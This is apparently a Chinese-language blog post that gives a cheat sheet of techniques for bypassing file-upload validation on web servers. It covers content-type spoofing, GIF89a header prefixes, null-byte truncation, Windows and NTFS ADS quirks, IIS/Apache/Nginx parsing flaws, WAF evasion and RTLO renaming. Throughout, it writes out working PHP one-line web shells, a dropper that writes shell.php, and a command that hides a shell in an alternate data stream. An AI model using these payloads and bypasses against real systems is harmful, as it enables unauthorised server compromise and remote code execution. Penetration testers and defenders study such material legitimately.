文件上传(绕过)

根据个人经验,搜集总结,欢迎大牛们补充、纠错 -_-

文件上传校验姿势

  • 客户端javascript校验(一般只校验后缀名)
  • 服务端校验
  • 文件头content-type字段校验(image/gif)
  • 文件内容头校验(GIF89a)
  • 后缀名黑名单校验
  • 后缀名白名单校验
  • 自定义正则校验
  • WAF设备校验(根据不同的WAF产品而定)

文件上传绕过校验姿势

  • 客户端绕过(抓包改包)
  • 服务端绕过
  • 文件类型
  • 文件头
  • 文件后缀名
  • 配合文件包含漏洞绕过
  • 配合服务器解析漏洞绕过
  • CMS、编辑器漏洞绕过
  • 配合操作系统文件命名规则绕过
  • 配合其他规则绕过
  • WAF绕过
  • 黑名单绕过
  • 白名单绕过

1.客户端绕过

可以利用burp等抓包改包,先上传一个gif类型的木马,然后通过burp将其改为asp/php/jsp后缀名即可。

2.服务端绕过

2.1 文件类型绕过

我们可以通过抓包,将content-type字段改为image/gif

2.2 文件头绕过

在木马文件内容开头加上一些文件头信息

GIF89a<?php phpinfo(); ?>

判断文件头内容是否符合要求,这里举几个常见的文件头对应关系:

1
2
3
4
(1) .JPEG;.JPE;.JPG,”JPGGraphic File
(2) .gif,”GIF 89A
(3) .zip,”Zip Compressed
(4) .doc;.xls;.xlt;.ppt;.apr,”MS Compound Document v1 or Lotus Approach APRfile

2.3 文件名/后缀绕过

2.3.1 截断

test.php%00.jpg,test.php0xoo.jpg

2.3.2 windows特性

1
2
3
4
5
6
7
8
9
ADS流:test.php::$DATA(见下)
test.php.
test.php_
test.php(空格)
*=.
<=*
>=?
test.<<<
test.php:1.jpg会生成一个test.php的空文件

2.3.3 ASP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
解析漏洞:
.asp;.jpg
.asp.jpg
.asp;jpg
+111.asp;+222.jpg
/111.asp/1.jpg
/111.aspx/1.jpg
后缀名:
asa,cer,cdx,ashx,asmx,xml,htr,asax
双文件扩展:
test.asp.jpg
RTLO:
asp.html-内容为一句话
php.txt-内容为一句话

2.3.4 JSP

1
2
.jsp.jpg.jsp-用两个jsp包围中间的jpg
后缀名:jspf,jspa,jsps

2.3.5 PHP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
后缀名:.php3 ,.php5,.php7
大小写:pHp
解析漏洞:
1.php.jpg
1.jpg.php
1.php jpg(jpg前面两个空格)
1.php jpg(jpg前面一个空格)
/1.jpg/1.php
/1.jpg%00.php
/1.jpg/.php
/1.jpg/php
特殊文件利用:
.htaccess
.user.ini

3.配合文件包含漏洞

  1. 上传一个符合条件格式的文档,文档内容为一句话木马,eg:test.txt
  2. 利用文件包含漏洞包含上传的木马文件,eg:page?id=D:/www/test.txt

4.配合服务器解析漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
IIS5.x-6.x:
目录解析(6.0):/1.asp/1.jpg
文件解析:1.asp;.jpg
文件类型:1.asa,a.cer,1.cdx
IIS7.5
IIS7.5是由于php配置文件中,开启了cgi.fix_pathinf
Apache:
从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断
后缀不识别:1.php.php123
配置错误:1.php.jpg
Nginx:
Nginx默认是以CGI的方式支持PHP解析的,和IIS7.5一样开启了cgi.fix_pathinf
1.jpg/1.php
1.jpg%00.php
1.jpg/%20\1.php
上传一个名字为test.jpg,以下内容的文件
<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[caidao])?>');?>
然后访问test.jpg/.php,在这个目录下就会生成一句话木马shell.php

5.配合操作系统文件命令规则

  1. 上传不符合windows文件命名规则的文件名

    1
    2
    3
    4
    5
    6
    test.asp.
    test.asp(空格)
    test.php:1.jpg
    test.php::$DATA
    shell.php::$DATA…….
    会被windows系统自动去掉不符合规则符号后面的内容。
  2. linux下后缀名大小写
    在linux下,如果上传php不被解析,可以试试上传pHp后缀的文件名。

    6.CMS、编辑器漏洞

  • CMS漏洞:针对不同CMS存在的上传漏洞进行绕过。
  • 编辑器漏洞:比如FCK,Ewebeditor等,可以针对编辑器的漏洞进行绕过。

7.其他规则

7.1 利用waf特性

  • 在恶意代码前加垃圾数据;
  • 在数据包前加垃圾数据;
  • 在Content-Disposition参数后面加垃圾数据;
  • 多加一个filename;
  • 更改HTTP请求方法;
  • 删除实体里面的Conten-Type字段;

    第一种是删除Content整行,第二种是删除C后面的字符。删除掉ontent-Type: image/jpeg只留下c,将.php加c后面即可,但是要注意额,双引号要跟着c.php。

  • 删除Content-Disposition字段里的空格
  • 增加一个空格
  • 修改Content-Disposition字段值的大小写
  • 文件名后缀处回车
  • 多个Content-Disposition

    7.2 利用NTFS ADS特性

    ADS是NTFS磁盘格式的一个特性,用于NTFS交换数据流。
    1
    2
    3
    4
    5
    test.php:a.jpg         生成test.php 空
    test.php::$INDEX_ALLOCATION 生成test.php文件夹
    test.php::$DATA\1.jpg    生成1.jpg(不可见的)
    echo ^<?php @eval(request[caidao])?^> > index.php:hidden.jpg
    这样子就生成了一个不可见的shell hidden.jpg,常规的文件管理器、type命令,dir命令、del命令发现都找不出那个hidden.jpg的。我们可以在另外一个正常文件里把这个ADS文件include进去,<?php include(‘index.php:hidden.jpg’)?>,这样子就可以正常解析我们的一句话了

7.3 利用RTLO

1
2
3
4
新建一个文件php.html
内容为:<?php @eval($_POST['caidao']);?>
重命名文件:输入名字的文本框里点右键,选择“插入unicode控制字符”,然后就到了这个菜单栏,我们选择RLO
这个时候php.html已经变成了html.php

7.4 特殊的长文件名绕过

文件名使用非字母数字,比如中文等最大程度的拉长
shell.asp;王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王.jpg

7.5 反删除

name="file1"改成了file4,可以防止文件删除(JCMS漏洞)

7.8 图片转换/二次渲染/文件幻数检测

  • 在不破坏文件本身渲染情况下,在空白区进行代码填充,一般是图片注释
  • 溢出攻击
  • 绕过GD库

大爷,赏个铜板呗!